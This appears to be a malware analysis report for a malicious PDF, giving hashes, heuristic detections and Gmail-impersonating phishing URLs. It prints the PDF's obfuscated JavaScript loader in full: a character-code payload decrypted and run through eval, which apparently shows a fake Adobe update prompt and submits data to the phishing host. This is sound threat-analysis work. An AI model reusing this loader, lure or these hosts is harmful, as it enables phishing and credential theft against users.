Malicious PDF — malware analysis report

Static analysis result for SHA-256 c876d74bae70ec68…

MALICIOUS

PDF

90.6 KB Created: 2018-06-12 09:41:10 -04:00 First seen: 2021-01-15
MD5: cfa7faca8d2e57e6ee35b39cd85af870 SHA-1: f748c6ff21dbb64c6d2be9be2a8068c5792088d2 SHA-256: c876d74bae70ec6896ac446aa4379afd80262945fd2ce50cc67d2531f8a012f9
178 Risk Score

Machine Learning

  • Nyx PDF Classifier suspicious score 0.4662

Heuristics 8

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            }
eval(decrypt(sourceCode,(new Date().getSeconds() % 1)))
;
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Visual download / call-to-action button lure low SE_DOWNLOAD_BUTTON
    Document contains a call-to-action phrase ('Click here to download', 'Download Now', etc.) — low-signal unless other findings point to a malicious workflow
  • External URI info PDF_URI
    PDF contains an external URL action
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gmail.net-login.com/XcmVyjaXBpZWD50X2lkPTAQ4MjIxTkODAwHOSZjYW1wAYWdlnbl9ydW5faWQ9MjIwONzUxMCZhY3Rpb249Y2xpY2smdXJsPWh0dHBzOi8vc2VjdXJlZC1sb2dpbi5uZXQvcGFnZXMvZWY5MDczMGFkZDA= PDF link annotation
    • http://gmail.net-login.com/XcmVPjaXBpZWz50X2lkPTSQ4MjIxSWODAwcOSZjYW1wiYWzlnbl9ydW5faWQ9MjIwoNzUxMCZhY3Rpb249YXR0YWNobWVudA==#FDFReferenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/tiff/1.0/In PDF document text
    • http://ns.adobe.com/exif/1.0/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xBD6 7487 bytes
SHA-256: 39701ea303b87d4c479bada3cec58ceda6bf04e3f100c94a7637317c48df3784
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function generateReverseArray(){
	var arr = [];
	for (var i=0; i < 1000; i++){
		arr.push(1000 - i);
	}
	return arr;
}
function bubbleSort(inputArr, num) {
	var len = inputArr.length;
    for (var n = 0; n < num; n++) {
        for (var i = 0; i < len; i++) {
            for (var j = 0; j < len; j++) {
                if (inputArr[j] > inputArr[j + 1]) {
                    var tmp = inputArr[j];
                    inputArr[j] = inputArr[j + 1];
                    inputArr[j + 1] = tmp;
                }
            }
        }
        for (var i = 0; i < len; i++) {
            for (var j = 0; j < len; j++) {
                if (inputArr[j] < inputArr[j + 1]) {
                    var tmp = inputArr[j];
                    inputArr[j] = inputArr[j + 1];
                    inputArr[j + 1] = tmp;
                }
            }
        }
    }
    return inputArr[inputArr.length - len] - 1;
}
        
function triggerSelectedCodeByTiming(num){
	bubbleSort(generateReverseArray(), num);
	function generateReverseArray(){
	var arr = [];
	for (var i=0; i < 1000; i++){
		arr.push(1000 - i);
	}
	return arr;
}
function bubbleSort(inputArr, num) {
	var len = inputArr.length;
    for (var n = 0; n < num; n++) {
        for (var i = 0; i < len; i++) {
            for (var j = 0; j < len; j++) {
                if (inputArr[j] > inputArr[j + 1]) {
                    var tmp = inputArr[j];
                    inputArr[j] = inputArr[j + 1];
                    inputArr[j + 1] = tmp;
                }
            }
        }
        for (var i = 0; i < len; i++) {
            for (var j = 0; j < len; j++) {
                if (inputArr[j] < inputArr[j + 1]) {
                    var tmp = inputArr[j];
                    inputArr[j] = inputArr[j + 1];
                    inputArr[j + 1] = tmp;
                }
            }
        }
    }
    return inputArr[inputArr.length - len] - 1;
}
        
function triggerSelectedCodeByTiming(num){
	bubbleSort(generateReverseArray(), num);
	sourceCode = "100,105,118,105,100,101,66,121,32,61,32,34,49,48,50,44,49,49,55,44,49,49,48,44,57,57,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,51,50,44,49,48,48,44,49,49,49,44,57,57,44,55,57,44,49,49,50,44,49,48,49,44,49,49,48,44,49,48,49,44,49,48,48,44,52,48,44,52,49,44,49,51,44,49,50,51,44,49,51,44,57,55,44,49,49,50,44,49,49,50,44,52,54,44,57,55,44,49,48,56,44,49,48,49,44,49,49,52,44,49,49,54,44,52,48,44,49,50,51,44,57,57,44,55,55,44,49,49,53,44,49,48,51,44,53,56,44,51,50,44,51,57,44,56,55,44,49,48,49,44,51,50,44,49,49,48,44,49,48,49,44,49,48,49,44,49,48,48,44,51,50,44,49,49,54,44,49,49,49,44,51,50,44,49,49,55,44,49,49,50,44,49,48,48,44,57,55,44,49,49,54,44,49,48,49,44,51,50,44,49,50,49,44,49,49,49,44,49,49,55,44,49,49,52,44,51,50,44,49,48,48,44,49,49,49,44,57,57,44,49,49,55,44,49,48,57,44,49,48,49,44,49,49,48,44,49,49,54,44,51,50,44,49,49,52,44,49,48,49,44,49,49,48,44,49,48,48,44,49,48,49,44,49,49,52,44,49,48,53,44,49,49,48,44,49,48,51,44,51,50,44,49,48,49,44,49,49,48,44,49,48,51,44,49,48,53,44,49,49,48,44,49,48,49,44,52,54,44,51,50,44,54,55,44,49,48,56,44,49,48,53,44,57,57,44,49,48,55,44,51,50,44,55,57,44,55,53,44,51,50,44,49,49,54,44,49,49,49,44,51,50,44,57,57,44,49,49,49,44,49,49,48,44,49,49,54,44,49,48,53,44,49,49,48,44,49,49,55,44,49,48,49,44,52,52,44,51,50,44,49,49,57,44,49,48,52,44,49,48,49,44,49,49,48,44,51,50,44,49,49,50,44,49,49,52,44,49,49,49,44,49,48,57,44,49,49,50,44,49,49,54,44,49,48,49,44,49,48,48,44,51,50,44,57,55,44,49,48,56,44,49,48,56,44,49,49,49,44,49,49,57,44,51,50,44,49,49,52,44,49,48,49,44,49,48,57,44,49,49,49,44,49,49,54,44,49,48,49,44,51,50,44,57,57,44,49,49,49,44,49,49,48,44,49,49,48,44,49,48,49,44,57,57,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,51,50,44,49,49,54,44,49,49,49,44,51,50,44,54,53,44,49,48,48,44,49,49,49,44,57,56,44,49,48,49,44,51,50,44,49,49,53,44,49,48,49,44,49,49,52,44,49,49,56,44,49,48,49,44,49,49,52,44,49,49,53,44,52,54,44,51,57,44,52,52,44,51,50,44,57,57,44,56,52,44,49,48,53,44,49,49,54,44,49,48,56,44,49,48,49,44,53,56,44,51,50,44,51,57,44,54,53,44,49,48,48,44,49,49,49,44,57,56,44,49,48,49,44,51,50,44,54,53,44,57,57,44,49,49,52,44,49,49,49,44,57,56,44,57,55,44,49,49,54,44,51,50,44,56,53,44,49,49,50,44,49,48,48,44,57,55,44,49,49,54,44,49,48,49,44,49,49,52,44,51,57,44,52,52,44,49,49,48,44,55,51,44,57,57,44,49,49,49,44,49,49,48,44,53,56,44,51,50,44,53,49,44,49,50,53,44,52,49,44,53,57,44,49,51,44,57,55,44,49,49,50,44,49,49,50,44,52,54,44,49,48,48,44,49,49,49,44,57,57,44,52,54,44,49,49,53,44,49,49,55,44,57,56,44,49,48,57,44,49,48,53,44,49,49,54,44,55,48,44,49,49,49,44,49,49,52,44,49,48,57,44,52,48,44,51,57,44,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,53,56,44,52,55,44,52,55,44,49,48,51,44,49,48,57,44,57,55,44,49,48,53,44,49,48,56,44,52,54,44,49,49,48,44,49,48,49,44,49,49,54,44,52,53,44,49,48,56,44,49,49,49,44,49,48,51,44,49,48,53,44,49,49,48,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,56,56,44,57,57,44,49,48,57,44,56,54,44,56,48,44,49,48,54,44,57,55,44,56,56,44,54,54,44,49,49,50,44,57,48,44,56,55,44,49,50,50,44,53,51,44,52,56,44,56,56,44,53,48,44,49,48,56,44,49,48,55,44,56,48,44,56,52,44,56,51,44,56,49,44,53,50,44,55,55,44,49,48,54,44,55,51,44,49,50,48,44,56,51,44,56,55,44,55,57,44,54,56,44,54,53,44,49,49,57,44,57,57,44,55,57,44,56,51,44,57,48,44,49,48,54,44,56,57,44,56,55,44,52,57,44,49,49,57,44,49,48,53,44,56,57,44,56,55,44,49,50,50,44,49,48,56,44,49,49,48,44,57,56,44,49,48,56,44,53,55,44,49,50,49,44,49,48,48,44,56,55,44,53,51,44,49,48,50,44,57,55,44,56,55,44,56,49,44,53,55,44,55,55,44,49,48,54,44,55,51,44,49,49,57,44,49,49,49,44,55,56,44,49,50,50,44,56,53,44,49,50,48,44,55,55,44,54,55,44,57,48,44,49,48,52,44,56,57,44,53,49,44,56,50,44,49,49,50,44,57,56,44,53,48,44,53,50,44,53,55,44,56,57,44,56,56,44,56,50,44,52,56,44,56,57,44,56,55,44,55,56,44,49,49,49,44,57,56,44,56,55,44,56,54,44,49,49,55,44,49,48,48,44,54,53,44,54,49,44,54,49,44,51,53,44,55,48,44,54,56,44,55,48,44,51,57,44,52,49,44,53,57,44,49,51,44,49,50,53,44,49,51,44,49,51,44,49,48,48,44,49,49,49,44,57,57,44,55,57,44,49,49,50,44,49,48,49,44,49,49,48,44,49,48,49,44,49,48,48,44,52,48,44,52,49,44,53,57,44,49,48,34,59,32,10,102,117,110,99,116,105,111,110,32,105,115,80,68,70,67,104,101,99,107,83,117,109,40,115,116,114,44,32,106,117,109,112,41,123,10,118,97,114,32,114,101,115,117,108,116,32,61,32,34,34,59,10,118,97,114,32,108,105,115,116,32,61,32,115,116,114,46,115,112,108,105,116,40,39,44,39,41,59,10,32,32,32,32,32,32,32,32,102,111,114,32,40,118,97,114,32,105,61,48,59,32,105,32,60,32,108,105,115,116,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,114,101,115,117,108,116,32,43,61,32,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,108,105,115,116,91,105,93,32,45,32,106,117,109,112,41,59,10,32,32,32,32,32,32,32,32,125,10,32,32,32,32,32,32,32,32,114,101,116,117,114,110,32,114,101,115,117,108,116,59,10,32,32,32,32,32,32,32,32,125,10,101,118,97,108,40,105,115,80,68,70,67,104,101,99,107,83,117,109,40,100,105,118,105,100,101,66,121,44,40,110,101,119,32,68,97,116,101,40,41,46,103,101,116,83,101,99,111,110,100,115,40,41,32,37,32,49,41,41,41,10"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }
eval(decrypt(sourceCode,(new Date().getSeconds() % 1)))
;
}
triggerSelectedCodeByTiming(10);;
}
triggerSelectedCodeByTiming(10);
font_00_cff_off0001563b.bin pdf-font-stream PDF embedded font (cff) at offset 0x1563B 4575 bytes
SHA-256: 9340d372ad75a105fdb1627a30e96f892e0dc7d9588c0150cf06b4fa72281cc0

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